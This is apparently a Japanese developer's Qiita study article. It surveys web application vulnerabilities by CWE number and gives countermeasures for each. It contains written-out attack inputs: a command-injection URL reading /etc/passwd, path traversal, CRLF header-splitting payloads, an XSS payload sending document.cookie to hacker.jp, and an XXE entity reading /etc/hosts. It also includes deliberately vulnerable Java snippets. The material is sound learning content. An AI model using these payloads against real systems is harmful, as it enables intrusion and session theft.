Why not login to Qiita and try out its useful features?

We'll deliver articles that match you.

You can read useful information later.

8
7

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

webアプリケーションの脆弱性について自分なりにまとめてみた

Last updated at Posted at 2026-01-19

目次

はじめに
 ↳プラットフォームの脆弱性
 ↳webアプリケーションの脆弱性
CWE(共通脆弱性タイプ一覧)とは
能動的攻撃
 ↳SQLインジェクション(CWE-89)
 ↳コマンドインジェクション(CWE-77)
 ↳パストラバーサル(CWE-22)
受動的攻撃
 ↳CRLFインジェクション(CWE-93)
  ↳HTTPヘッダーインジェクション
  ↳HTTPレスポンス分割攻撃
  ↳メールヘッダーインジェクション
 ↳クロスサイトスクリプティング(XSS)(CWE-79)
その他の脆弱性
 ↳認証回避(CWE-592)
 ↳不適切な認証(CWE-287)
 ↳過度な認証試行の不適切な制限(CWE-307)
 ↳脆弱なパスワードの要求(CWE-521)
 ↳復元可能なパスワード保存(CWE-257)
 ↳セッションフィクセーション(CWE-384)
 ↳推定可能なセッションID(CWE-334)
 ↳GETリクエストにおけるクエリ文字列からの情報漏えい(CWE-598)
 ↳重要な情報を含むキャッシュの使用(CWE-524)
 ↳HTTPS利用時のCookieのSecure属性未設定(CWE-614)
 ↳強制ブラウズ(CWE-425)
 ↳クロスサイトリクエストフォージェリ(CSRF)(CWE-352)
 ↳XML外部エンティティ参照(XXE)(CWE-611)
 ↳オープンリダイレクト(CWE-601)

はじめに

webアプリケーションにおけるセキュリティ絡みの知識が乏しかったので、今更ながら脆弱性(攻撃手段)の種類と、一部その対策例について学習してみました。
以下書籍の第3章基礎編を参考にしていますが、自分で調べた内容を補足しているので、もし情報が誤っている場合はご指摘ください🙇‍♂️

Webセキュリティ担当者のための脆弱性診断スタートガイド 第2版


※ちなみに本記事内のURLを記述しているところで、以下のようにレイアウトが崩れてますが気にしないでください

👇️

http://example.com/login.php?uid=hogehoge %20onmouseover%3Dalert(document.cookie)


まず、脆弱性は大きく2つのパターンに分けられます。
・プラットフォームの脆弱性
・webアプリケーションの脆弱性
表題通り、今回は主にwebアプリケーションの脆弱性について見ていきますが、違いについて少しだけ整理します。

プラットフォームの脆弱性

プラットフォームとは、webアプリケーションを構成するOSやミドルウェア(例:MySQL、Apache等)、言語環境(PHP、Java)などを指しています。
プラットフォームの脆弱性への対策としては、最新バージョンへのアップデート、セキュリティ関連の設定の見直し等の検討が挙げられます。

webアプリケーションの脆弱性

文字通りWebアプリケーションそのものの脆弱性のことです。

既存のパッケージ製品を使っていない、新規開発されたオリジナルのwebアプリケーションである場合、自分らでセキュリティ対策を行う必要があります。対策を積極的に行わないと、攻撃者はゼロデイ攻撃(セキュリティホールが見つかってから対処される期間の間に、攻撃者が脆弱性を見つけて悪用すること)をする可能性があります。
また、HTTPは1.0、1.1、2.0、3.0へバージョンアップを繰り返していますが、30年近く前のバージョンであるHTTP1.1でさえ未だ現役で使われているので、各バージョンにあったセキュリティの対策も必要になります。

(余談)
webアプリケーションの脆弱性をみつけて報告を行うと報酬をもらえる「バグバウンティプログラム」という仕組みがある。

CWE(共通脆弱性タイプ一覧)とは

脆弱性の種類を体系的に分類するCWE(共通脆弱性タイプ一覧)というものがあります。
それぞれの脆弱性に識別子が振られており、SQLインジェクションの場合だと「CWE-89」に分類されます。

(補足)
米国の非営利団体「MITRE」が発表した危険な脆弱性ランキングTOP25

能動的攻撃

攻撃者が直接サーバー上のリソースにアクセスして攻撃を行うタイプの脆弱性はこれに分類されます。被害を受けるユーザーの介在は必要ないが、攻撃者がサーバー上のリソースへアクセスできる必要があります。
例:SQLインジェクション、コマンドインジェクション

受動的攻撃

悪意のある攻撃スクリプトを仕掛け、ユーザーがそれに気づかずサーバーへHTTPリクエストしてしまった結果、意図しない特定の処理を実行されたりする脆弱性。
被害を受けるユーザーの介在が必要になります。

悪意のある攻撃スクリプトの設置方法は以下2パターン
・攻撃対象とは別のwebサイトに誘導する方法(反射型)
・攻撃対象のwebサイトのDBに保存する方法(接続型)

受動的攻撃を利用すると、イントラネット(企業などの組織内で利用されるプライベートネットワーク)のような直接攻撃者がアクセス出来ない場合でも、外部から来たメールや、誰でも見られるwebサイトに罠を仕掛ければ攻撃可能。

例:クロスサイトスクリプティング(XSS)、クロスサイトリクエストフォージェリ(CSRF)

SQLインジェクション(CWE-89)

RDBMSに対してデータの検索や追加・削除を行う際、SQLの呼び出し方に不備がある場合、不正なSQL文を挿入(インジェクション)され、実行されてしまう脆弱性。

攻撃例

かなり脆弱なログイン画面を用いた攻撃例を紹介。
まずは攻撃対象となる画面の仕様から。

①画面側では、userid(ユーザーID)とpassword(パスワード)をフォームへ入力する。
②サーバー側では、画面側で入力されたフォームの情報を取得し、以下の顧客情報テーブルを参照するSQL文を実行。ヒットすれば認証成功する実装がされている。

・顧客情報テーブル

userid(ユーザーID) password(パスワード)
abc123 password123
ddd456 pwd!456

・サーバーの実装

Java
String user = request.getParameter("userid"); // ユーザーIDを取得
String pass = request.getParameter("password"); // パスワードをを取得
// SQL文を文字列連結により作成している(SQLインジェクションの発生原因)
String sql = "SELECT * FROM users WHERE userid = '" + user + "' AND password = '" + pass + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql); // SQL実行

本来は以下のような入力値を想定。
userid=「abc123」
password=「password123」

SQL
SELECT * FROM customer WHERE userid = 'abc123' and password = 'password123'

→結果としては顧客情報テーブルの1列目が取得されるので認証に成功します。


ここで、ログインフォームへ入力する内容を以下のものに書き換えてみます。 userid=「abc123' --」 password=「hogehoge」 ```SQL: SELECT * FROM customer WHERE userid = 'abc123' --' and password = 'hogehoge' ``` →ユーザーIDもパスワードも間違っているので一見、認証に失敗しそうに見えますが、実際には以下のSQL文が実行されるので「' --」以降はコメントアウトされたとみなされてしまいます。よって、認証に成功します。

上記例でのSQLインジェクションの回避方法

・サーバーの実装

Java
String user = request.getParameter("userid"); // ユーザーIDを取得
String pass = request.getParameter("password"); // パスワードを取得
String sql = "SELECT * FROM customer WHERE userid = ? and password = ?"
PreparedStatement pstatement = connection.prepareStatement(sql);
// パラメータ設定
pstatement.setString(1, user);
pstatement.setString(2, pass);
// SQL実行
pstatement.executeQuery();

→PreparedStatementを扱うことで「abc123' --」の「--」はコメントアウトではなく文字列として扱われるため、SQLインジェクションを防げます。

コマンドインジェクション(CWE-77)

管理者権限でしか実行できないようなOSコマンド(bashやcmd.exe等のシェルから実行するコマンド)を不正に実行されてしまう脆弱性。
結果として、webサーバー内部のファイルが実行されたり読み出されたり、管理者権限が奪われ別サーバーへの攻撃の踏み台として利用されます。

攻撃例

まずは攻撃対象となる画面の仕様から。

とあるwebアプリでは、ファイル名のリンク一覧を選んでクリックすると、サーバーに格納されているテキストファイルの内容がそのまま表示される機能を実装されている。

①file1.txtのリンクをクリックすると、リクエストパラメータ(fileName)にfile1.txtが設定されて、サーバーへリクエストを行う(http://example.com/samplePage?fileName=file1.txt)。

http://example.com/sample
image.png

②サーバー側でファイルを読み出して画面を返却する処理が行われる。

http://example.com/samplePage?fileName=file1.txt
image.png

実装①.java
String filename = request.getParameter("fileName");
String command = "cat " + filename; // 文字列連結によって実行文を生成(ここがダメ)
Process process = Runtime.getRuntime().exec(command); // catコマンドを実行してファイル表示

または

実装②.java
String filename = request.getParameter("fileName");
 // シェルを経由してcatコマンドを実行(ここがダメ)
ProcessBuilder pb = new ProcessBuilder("sh", "-c", "cat " + filename);
Process p = pb.start();

を実装しているものとする。

本来の想定
画面からファイル名のリンク一覧を選んで操作します。
http://example.com/samplePage?fileName=file1.txt


ただし、現在の実装では以下のような攻撃が可能です。

・実装①.javaの場合
攻撃者:リクエストパラメータの後ろに太字部分の文字列を直接付け足し、以下のURLを直接入力をしてサーバーへリクエストをします。
http://example.com/samplePage?fileName=file1.txt ;cat /etc/passwd

サーバー側:「cat file1.txt ;cat /etc/passwd」と解釈してコマンドを実行します。

cat file1.txt;cat /etc/passwd
#「cat file1.txt」・・・file1.txtを表示。
#「cat /etc/passwd」・・・「/etc/passwd」というファイルの内容を表示(ユーザーのアカウント情報がある)。
#「;」・・・コマンドの区切りを識別。
#「cat file1.txt」「cat /etc/passwd」のコマンドが順番に実行されます。

→結果として、
command変数で実行するコマンドを文字列で連結してexec引数に渡してしまっているため、シェルでは「;」等のメタ文字が有効になり、本来は想定していない「/etc/passwd」のファイルが表示されてしまいます。

・実装②.javaの場合
「sh -c」を使用するとシェルを経由してしまうことにより、実装①の場合同様「;」等のメタ文字が有効になってしまいます。結果も実装①と同じです。

上記例でのコマンドインジェクションの回避方法

Java
String filename = request.getParameter("fileName");
// 機能悪用も考慮
if (!fileName.matches("[a-zA-Z0-9._-]+")) {
    throw new IllegalArgumentException("Invalid filename");
}
ProcessBuilder pb = new ProcessBuilder("cat", fileName);
Process p = pb.start();

→ProcessBuilderを利用することにより、一旦これでコマンドインジェクションは発生しなくなります(「;」等のメタ文字は無効になり文字列とみなされるようになります)。
しかし、それだけだと機能悪用される可能性があるため、文字列をすべてチェックするホワイトリスト方式も考慮した実装をしています。

が、それでもまだ他の攻撃をされる可能性があります。。。
次の脆弱性をご確認ください。

パストラバーサル(CWE-22)

「../」などの相対パス指定や「/etc/hosts」などの絶対パス指定などを使い、それをURLのパラメータに直接入力することで、本来は公開を意図していないディレクトリへアクセスできてしまう脆弱性。

先程のコマンドインジェクションの画面の例を用いて説明すると、本来の想定ではファイル名のリンク一覧をクリックして操作しますが、攻撃者が以下のようにパラメータを弄ってしまえば、権限のあるファイルなどにアクセスできる可能性があります。

本来の想定
http://example.com/samplePage?fileName=file1.txt

攻撃例
http://example.com/samplePage?fileName=../../../../../etc/hosts

CRLFインジェクション(CWE-93)

レスポンスヘッダーやメールヘッダーに改行コード(CR+LF)を挿入することで、意図しないヘッダーフィールドなどを追加できる脆弱性。
主な攻撃方法は、HTTPヘッダーインジェクション/HTTPレスポンス分割攻撃/メールヘッダーインジェクションの3種類あります。

(補足)
※HTTPヘッダー・・・HTTPリクエストを構成する1つです。
※HTTPリクエストは、HTTPリクエストライン/HTTPヘッダ/空行/HTTPリクエストメッセージボディら成り立っています。ヘッダとメッセージボディを識別するために空行(改行)があります。

HTTPレスポンスやメールヘッダーも似たような構成なので省略。

HTTPヘッダーインジェクション

CRLFインジェクション(CWE-93)の攻撃手段の1つです。
これにより以下の影響を及ぼす可能性があります。

・任意のURLにリダイレクトされることで悪意のあるwebサイトへ誘導される。
・任意のHTTPボディを生成されることで、webページに表示される内容が改変される。
・任意のCookkieが生成されることでセッションフィクセーション攻撃に利用される。

攻撃例

後述するケース1~3を、画面で任意のURLへリダイレクトを行うようなときの例で説明していきます。

・サーバーの実装

Java
String parameter = request.getParameter("cat"); // リクエストパラメータからcatを取得
String url = request.getParameter("url"); // リクエストパラメータからurlを取得
// リダイレクト
response.setHeader("Location", "http://example.com/chatora?cat=" + parameter); 

本来の想定

以下のようなリダイレクトを行います
●HTTPリクエスト
http://example.com/samplePage?cat=123

●HTTPレスポンス
HTTP/1.1 302 Found
Location: http://example.com/chatora?cat=123

ケース1:任意のURLにリダイレクトされることで悪意のあるwebサイトへ誘導される

攻撃例

●HTTPリクエスト
http://example.com/samplePage?cat=%0D%0ALocation:%20http://waruipage.com/

●HTTPレスポンス
HTTP/1.1 302 Found
Location: http://waruipage.com/

※「%0D%0A」・・・改行
※「%20」・・・半角スペース
※Locationフィールド・・・リダイレクト先のURL

もし攻撃者が上記のようなのリクエストをしてしまうと、Locationフィールドにはhttp://example.com/samplePage?cat=(%0D%0Aの改行)と、http://waruipage.com/が重複して存在していることになります。

Apachなどでは、複数のLocationフィールドがある際、最後のLocationフィールドのみをレスポンスとして返す仕様によって、最終的にはhttp://waruipage.com/(悪意のあるサイト)へリダイレクトされてしまいます。

ケース2:任意のHTTPボディを生成されることで、webページに表示される内容が改変される

攻撃例

●HTTPリクエスト
http://example.com/samplePage?cat=123 %0D%0A%0D%0A<html>攻撃者が用意したページ</html>

●HTTPレスポンス
HTTP/1.1 302 Found
Location: http://pc.example.com/samplePage?cat=123
(空行)
<html>攻撃者が用意したページ</html>

「%0D%0A%0D%0A」・・・改行が2回されているのでヘッダー終了(空行)を表す
「%20」・・・半角スペース
※Locationフィールド・・・リダイレクト先のURL

先述した通り、空行でステータスライン/ヘッダ/ボディをそれぞれ認識してしまいます。
結果、レスポンスボディに(<html>攻撃者が用意したページ</html>)を記述されてしまい、悪意のあるリソースを表示できてしまう可能性があります。

ケース3:任意のCookkieが生成されることでセッションフィクセーション攻撃に利用される

セッションフィクセーション攻撃の説明はこちら

攻撃例

●HTTPリクエスト
http://example.com/samplePage?cat=%0D%0ALocation:%20http://waruipage.com/%0D%0ASet-Cookie:%20JSESSIONID=hogehoge123

●HTTPレスポンス
HTTP/1.1 302 Found
Location: http://waruipage.com/
Set-Cookie: SESSIONID=hogehoge123

ケース3はセッションフィクセーション攻撃の手段の一つです。
Set-Cookieフィールドを追加して攻撃者が用意したセッションIDを被害者(ユーザー)に使わせます。

HTTPレスポンス分割攻撃

CRLFインジェクション(CWE-93)の攻撃手段の1つです。
これにより、キャッシュサーバーやプロキシサーバーに悪意のある内容をキャッシュとして残して汚染し、他のユーザーにも影響を与えます。

(補足)
そもそもの話にはなりますが。。。
キャッシュサーバーの仕組みについて簡単に説明します。
キャッシュサーバとは、誰かが見たwebページの内容を一時的にキャッシュとして保管しておいて、次来た人にそのキャッシュさせた内容を返してあげるサーバーです。

参考:キャッシュサーバ・プロキシサーバって何?

プロキシサーバーと何が違うの?と思われるかもしれないですが、プロキシサーバーは上記で説明したキャッシュサーバーの機能を内包しているイメージです(キャッシュ機能がないプロキシサーバーもあります)。間違ってたらすみません。

つまり、キャッシュサーバーやプロキシサーバーはみんなが共有しているサーバーなので、悪意のあるコンテンツをキャッシュさせてしまうと他の人にも影響してしまいます。
(補足おわり)

攻撃例

先程のHTTPヘッダーインジェクションのときと同じ、以下の例で説明します。
一応貼っておきます。

・サーバーの実装

Java
String parameter = request.getParameter("cat"); // リクエストパラメータからcatを取得
String url = request.getParameter("url"); // リクエストパラメータからurlを取得
// リダイレクト
response.setHeader("Location", "http://example.com/chatora?cat=" + parameter); 

本来の想定

以下のようなリダイレクトを行います
●HTTPリクエスト
http://example.com/samplePage?cat=123

●HTTPレスポンス
HTTP/1.1 302 Found
Location: http://example.com/chatora?cat=123

攻撃例

●HTTPリクエスト
http://example.com/samplePage?cat=123%0D%0AContent-Length: 0 %0D%0A%0D%0AHTTP/1.1 200 OK%0D%0AContent-Type: text/html%0D%0AContent-Length: 20%0D%0A%0D%0A<body>キャッシュさせたい任意のコンテンツ</body>

●HTTPレスポンス
HTTP/1.1 302 Found
Location: http://example.com/samplePage?cat=123
Content-Length: 0
(空行)
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 20
(空行)
<body>キャッシュさせたい任意のコンテンツ</body>

HTTPヘッダーインジェクションを利用し、レスポンスが2つに分かれるようにしています。

HTTP/1.1では、複数のリクエストを送信した際、レスポンスを分割させて返すという特性があるため、今回の実装のように何も対策していない場合だと上記のように2つ目のレスポンスが返却されます。

メールヘッダーインジェクション

HTTPヘッダーインジェクションとほぼ同じような手法です。

攻撃例

以下の例で説明します。

お問い合わせフォームからメールを送信するリクエストをサーバーへ送信。
サーバー側では各パラメータを受け取り、メールヘッダーの各パラメータへ値をそのまま移記を行う。

・サーバーの実装

Java
String to = request.getParameter("to");
String from = request.getParameter("from");
String subject = request.getParameter("subject");
String body = request.getParameter("body");

MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(from));
message.setRecipient(Message.RecipientType.TO, new InternetAddress(to));
message.setSubject(subject);
message.setText(body);

本来の想定

●HTTPリクエスト
POST /mail HTTP/1.1
Host: example.com
Content-Type: application/x-www-from-urlencoded
Content-Length: 222
(空行)
to=info%40hogehoge.jp&from=user%40example.com&subject=(ここにメールの題名)&msg=(ここに送信するメッセージの内容)&submit=%E9%80%81%E4%BF%A1

●実際に送信されるメッセージ
To: info@hogehoge.jp
From: user@example.com
Subject:(ここにメールの題名)

(ここに送信するメッセージの内容)

「%40」・・・デコードすると「@」という文字列になります
「%E9%80%81%E4%BF%A1」・・・デコードすると「送信」という文字列になります

攻撃例

●HTTPリクエスト
POST /mail HTTP/1.1
Host: example.com
Content-Type: application/x-www-from-urlencoded
Content-Length: 222
(空行)
to=info%40hogehoge.jp&from=user%40example.com %0D%0ACc:%20admin%40hacker.jp&subject=(ここにメールの題名)&msg=(ここに送信するメッセージの内容)&submit=%E9%80%81%E4%BF%A1

●実際に送信されるメッセージ
To: info@hogehoge.jp
Cc: admin@hacker.jp
From: user@example.com
Subject: (ここにメールの題名)

(ここに送信するメッセージの内容)

→攻撃者は「%0D%0A」(改行コード)を用いて「Cc: admin@hacker.jp」を追加し、新たな宛先を追加し送信します。

クロスサイトスクリプティング(XSS)(CWE-79)

ブラウザ側で外部の入力などに応じた動的なリソースの生成(例:ログインフォームにユーザー/パスワードを入力してログインする等の動作)があった際、仕掛けてあったスクリプト(罠)をそのユーザーに実行させて悪意のあるリクエストを行わせます。

これにより以下の影響を及ぼす可能性があります。

Cookieが盗まれることでのなりすましをされてしまう。
不正に追加されたHTMLにより偽の画面や情報を表示されてしまい、ユーザーが騙される。
悪意のあるスクリプトが実行されることによってマルウェアに感染する。

攻撃手段としてはケース1~ケース3のパターンが存在します。

ケース1:<script>タグ内の悪意のあるスクリプトがクエリに指定されて実行されるケース

攻撃例

掲示板やSNS等で投稿を行うリクエストを送信するときの例で説明します。

画面側の操作:投稿内容を入力してから投稿ボタンを押下、サーバー側へ投稿内容を送信。
サーバー側:入力した投稿内容を処理して表示する画面を返す。

本来の想定

●HTTPリクエスト
http://example.com/home?message=hogehoge

→結果として「hogehoge」が投稿内容として正常に処理され画面上に表示されます。

攻撃例

●HTTPリクエスト
http://example.com/home?message=<script>window.location='http://hacker.jp/?'%2Bdocument.cookie;</script>

→結果として「http://hacker.jp/」へユーザー(被害者)のCookieが記録されてしまいます。
CookieにはセッションIDなどが含まれているため、これを盗まれると攻撃者がそのユーザーになりすますことができてしまいます。

(補足)
「window.location」・・・現在のURLから、ここに指定されたURLへ変更する
「%2B」・・・デコードすると「+」になります
「document.cookie」・・・Cookieを取得
※セッションIDとは、簡単に説明すると、例えば会員制のwebサイトに訪れたとき/ログインをしたときに、サーバー側でどのユーザーか識別するために発行するIDです。

★もう少し詳しく流れを詳しく見ていくと・・・
①投稿ボタンを押下し以下のようなリクエストを送信。
このとき<script>タグがエスケープされずに有効になったままサーバーへ送信されます。
http://example.com/home?message=<script>window.location='http://hacker.jp/?'%2Bdocument.cookie;</script>

②サーバー側の処理
入力した投稿内容を処理して表示する画面を返す。

③画面側の処理
ユーザー(被害者)のセッションIDが含まれたCookieをクエリに付けて
「http://hacker.jp」 へ送信。

④サーバー側(攻撃者のwebサイト:http://hacker.jp)
アクセスログにユーザーのセッションIDが記録。

という流れになります。

上記例でのXSSの回避方法

ケース2参照👇️

ケース2:属性値へのXSS

攻撃例

画面側でユーザーIDを入力し、クエリをつけてサーバーへ送信する例で説明します。

・画面の実装

JSP
<input type="text" name="uid" value=<%= uid %>> <!--value属性値を引用符で閉じてないのがダメ -->
PHP
<input type="text" name="uid" value=<?= $_GET['uid']; ?>> <!-- value属性値を引用符で閉じてないのがダメ -->

本来の想定
ログインボタンを押下して以下のHTMLリクエストを送信

●HTTPリクエスト
http://example.com/login.php?uid=hogehoge

→結果として、サーバーへ正常にリクエストが行われます。

攻撃例
●HTTPリクエスト
http://example.com/login.php?uid=hogehoge %20onmouseover%3Dalert(document.cookie)

→結果として、画面上にクッキーの内容を表示される。

「%20」・・・半角スペース
「%3D」・・・デコードすると「=」になります
「onmouseover%3Dalert(document.cookie) 」・・・今回の場合だと、フォームへマウスカーソルが移動されたとき、すべてのクッキーの内容をアラート表示

value属性値が引用符で閉じられていないため、「%20」の半角スペースで属性値の区切りと認識されてしまい、「onmouseover」が新たな属性値として追加されてしまいます。
画面上にクッキーの内容を表示されるだけなのでコード単体には攻撃性はないですが、
ケース1のようにCookieの内容を攻撃者のページに送信することも可能です。

上記例でのXSSの回避方法

ケース1の対策例
JSPの場合はfn:escapeXml()関数、PHPの場合はhtmlspecialchars関数で特殊文字のエスケープ処理を行う。

ケース2の対策例
value属性値を引用符で閉じる

OK<Javaの場合>
value="<%= uid %>"

ケース1と併せると
value="${fn:escapeXml(uid)}"

OK<PHPの場合>
value="<?= $_GET['uid']; ?>"

ケース1と併せると
value="<?= htmlspecialchars($name, ENT_QUOTES) ?>"

まとめると、最終的には以下のようになります

JSP
<!-- ケース1:escapeXmlを使いHTMLエスケープを行う -->
<!-- ケース2:value属性を引用符で閉じる -->
<input type="text" name="uid" value="${fn:escapeXml(uid)}">
PHP
// ケース1:escapeXmlを使いHTMLエスケープを行う
// ケース2:value属性を引用符で閉じる
<input type="text" name="uid" value="<?= htmlspecialchars($name, ENT_QUOTES) ?>">

ケース3:DOM based XSS

攻撃例

document.locationを使って、現在のページのURLをブラウザ上に表示する例で説明します。

・画面の実装

javascript
<script>
  // document.write、unescapeは非推奨になっています
  // HTMLへ文字列を出力
  document.write("<p>URL : " + unescape(document.location) + "</p>");
</script>

本来の想定
●HTTPリクエスト
http://example.com/samplePage.html

→結果として、画面上には「URL : http://example.com/samplePage.html」が表示されます。

攻撃例
●HTTPリクエスト
http://example.com/samplePage.html # <script>alert(document.cookie)</script>

→HTMLエスケープを行っていない場合だと<script>alert(document.cookie)</script>によりCookieの内容がアラートで表示されてしまいます。

(補足)
「#」(フラグメント)・・・本来はそのページの要素の場所へジャンプするための仕組みのことです。

他のXSSの回避方法

こちらもケース1のように特殊文字をエスケープする等の対策例が挙げられますが、
HttpOnly属性をつけてそもそもJavaScript経由でCookieへアクセスさせない方法もあります。

HttpOnly属性・・・Cookieに対してHttpOnly属性をつけることで、JavaScript経由でCookieにアクセスできなくなる。XSS対策のひとつとして有効。

NG
Set-Cookie: SESSID=hogehoge123;

OK
Set-Cookie: SESSID=hogehoge123; HttpOnly

Javaでの実装方法
Cookie cookie = new Cookie("sessionId", "abc123");
cookie.setHttpOnly(true); //👈️コレ 
cookie.setSecure(true);  //👈️これも実は必要(詳細は以下CWE-614を確認)

HTTPS利用時のCookieのSecure属性未設定(CWE-614)

★DOM based XSSが発生しやすい場所

代表的なソース
ソースとは、攻撃者がスクリプトを仕込む入力箇所のことです。
・location.href
・location.search
・location.hash
・location.cookie
・document.referrer
・window.name
・localStorage
・sessionStorage

代表的なシンク
シンクとは、攻撃スクリプトを入力された結果としてXSSが発生する箇所のことです。
・document.cookie
・element.innerHTML
・eval
・setTimeout
・setInterval
・jQuery
・$()
・$.html()

今回の場合だと、document.cookie=ソース、document.writer=シンクとなります。

その他の脆弱性

認証回避(CWE-592)

不適切な認証(CWE‑287)に統合されているのでCWE-287の方で説明します。

不適切な認証(CWE-287)

正規の手段を使わずに認証を回避できてしまう脆弱性のことです。

例えば、ユーザーIDとパスワードを入力して認証するログイン画面において、ログイン状態や管理者権限であるかのフラグをCookieで管理している場合、それが脆弱性となり認証を回避できてしまいます。

過度な認証試行の不適切な制限(CWE-307)

一定期間同じユーザーの認証に繰り返し失敗した場合、認証に成功したとしてもアカウントロックを行い認証を行わせない機能が実装されていないという問題。これを利用して総当り攻撃ができてしまう。
以下リンクの例2で実際の発生例が記載されています

脆弱なパスワードの要求(CWE-521)

認証時に必要なパスワード文字列の要件として、最低限必要な文字列の長さが短い/文字種が十分ではない問題のことです。

復元可能なパスワード保存(CWE-257)

サーバーに保存されているパスワードが復元可能だと、元のパスワード文字列に復元できてしまう問題のことです。

たとえ文字列をハッシュ化してサーバーに保存されていたとしても、安全な暗号アルゴリズムを使用していないとレインボーテーブル攻撃などによってパスワードが復元される可能性があります。

レインボーテーブル攻撃・・・あらかじめ用意されたハッシュ値と平文の対応データベースから平文を割り出す仕組みのことです。対策例として、安全な暗号アルゴリズム(ソルトストレッチング)を使用する方法があります。

ソルト・・・レインボーテーブル対策として平文のパスワードの前後に短い文字列を付け足す文字列のこと。
ストレッチング・・・ハッシュ化を千回から数万程度繰り返すことで、平文を求めるのに時間をかけさせること。

セッションフィクセーション(CWE-384)

この攻撃は、認証前に発行されるセッションIDと、認証後のセッションIDが同じため発生する脆弱性です。

以下一例を用いて説明します。

①攻撃者:webサイトにアクセスし、ログイン前にサーバーから発行されるセッションID(例:"hogehoge123")を用意し、ユーザーに対しそのセッションIDを使わせるよう罠を仕掛ける。
用意したセッションIDをどのようにしてユーザーに使わせるかについてはこちらを参照
②被害者:セッションID(例:"hogehoge123")でログイン(認証)してしまう。
③攻撃者:ユーザーがログインしている頃合いを見計らい、同セッションIDでアクセスする。

他にも、セッションアダプション(サーバー側で発行してない未知のセッションIDを受け入れてしまう機能)を利用する。

推定可能なセッションID(CWE-334)

セッションIDが短すぎたり、生成時のアルゴリズムが単純等の理由で、簡単にセッションIDが推測できてしまう脆弱性のことです。

GETリクエストにおけるクエリ文字列からの情報漏えい(CWE-598)

URLのクエリにパスワード等の機密情報等の重要な情報を含んでしまうことです。

NG
http://example.com/login.php? uid=hogehoge&passwd=foo123

Refererヘッダーフィールドからの情報漏洩

上記のCWE-598と類似している脆弱性です。

HTTPヘッダーフィールドに存在する「Refererヘッダーフィールド」は、どこからアクセスされたかのURLが記載されています。もしクエリに機密情報が設定されている場合は重要な情報が漏洩するリスクがあります。

重要な情報を含むキャッシュの使用(CWE-524)

キャッシュ制御に不備があり、プロキシサーバーやキャッシュサーバーにキャッシュした機密情報を他人に見せてしまう脆弱性のことです。

キャッシュさせたくないときは、HTTPレスポンスヘッダーフィールドの「Cache-Control」にて「no-store」を指定する等対策する必要があります。

HTTPS利用時のCookieのSecure属性未設定(CWE-614)

HTTPレスポンスにあるSet-Cookieフィールドにて、Secure属性を付けないことでセッションID等の機密情報が盗聴される可能性がある脆弱性のことです。

画像やスクリプト/動画を読み込みために一部HTTP通信を利用している混合コンテンツだと、一瞬HTTP通信をしたときにCookieの情報をサーバーに送出してしまい盗聴されてしまいます。以下リンクに例が載っています。

NG
Set-Cookie: SESSIONID=abc123;

OK
Set-Cookie: SESSIONID=abc123; Secure;

強制ブラウズ(CWE-425)

本来公開を意図していないファイルやディレクトリなどのリソースをURLのパラメータなどから予測し、アクセスできてしまう脆弱性のことです。

クロスサイトリクエストフォージェリ(CSRF)(CWE-352)

簡単に説明すると、利用者の意図しないリクエストをサーバーに送信して実行させてしまう脆弱性のことです。

以下一例を用いて説明します(SNSへのログイン例)。

①ユーザー(被害者)がSNSへログインすると、サーバー側ではセッションID(hogehoge123)を発行されます。
②ログインした状態を維持したまま、攻撃者が仕掛けた罠があるメール/外部のwebサイトを閲覧します。そのとき、ユーザーは知らずのうちに罠を踏んでしまい、権限のあるリクエスト(SNSのメールアドレスの設定変更など)をブラウザから自動的に送信してしまいます。
③そのユーザーのSNSアカウントに登録したメールアドレスが、攻撃者が指定したメールアドレスへ変更されてしまいます。

XML外部エンティティ参照(XXE)(CWE-611)

XMLの外部エンティティ参照(簡単に言うと外部のXMLを参照する仕組み)を利用して、攻撃者が不正にファイルを読み取ることができていしまう脆弱性のことです。

攻撃例

以下一例を用いて説明します。

あるwebアプリでは、ブラウザ上でXMLファイルをアップロードをします。
その内容をサーバー側で解析し、正常に登録処理されていれば登録完了画面を返します。

想定するXMLの内容
<?xml version="1.0" encoding="utf-8" ?>
<book>
    <title>ここにタイトル</title>
    <author>ここに著者</author>
</book>

→上記は想定された正常なXMLです。ブラウザ上では以下のような登録完了画面を返します。
(雑ですみません、、、)

攻撃コードが含まれたXML
<?xml version="1.0" encoding = "utf-8" ?>
<!DOCTYPE foo [
	<! ELEMENT foo ANY >
    <!-- file:///etc/hostsがリソースのパス、これをxxeとして定義 -->
	<!ENTITY xxe SYSTEM "file:///etc/hosts" >]>
<book>
	<title>XXE TEST </title>
	<author>&xxe;</author> <!-- xxeの中身を参照する -->
</book>

→上記の内容のXMLをアップロードすると、外部エンティティ参照が行われてしまい、想定しない「/etc/hosts」のファイルが表示されてしまいます。

オープンリダイレクト(CWE-601)

リダイレクト機能を利用して、ユーザーが悪意のあるwebサイトへ誘導されてしまう脆弱性のことです。

ユーザーが「http://example.com」を開こうと下記のURLを踏んだとき、実際にはリダイレクト先に指定されている「http://waruipage.com」へ誘導されてしまいます(サーバー側がリダイレクト先に外部のURLを指定されてしまうことを考慮されていないため)。

http\://example.com/?redirect=http\://waruipage.com/

「http://waruipage.com」は「http://example.com」にそっくりなログインページなどを用意してフィッシング詐欺を仕掛けられてしまう可能性があります。
攻撃者はフィッシングメール等からユーザーにリンクを踏ませます。

8
7
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up

Comments

No comments

Let's comment your feelings that are more than good

8
7

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Login to continue?

Login or Sign up with social account

Login or Sign up with your email address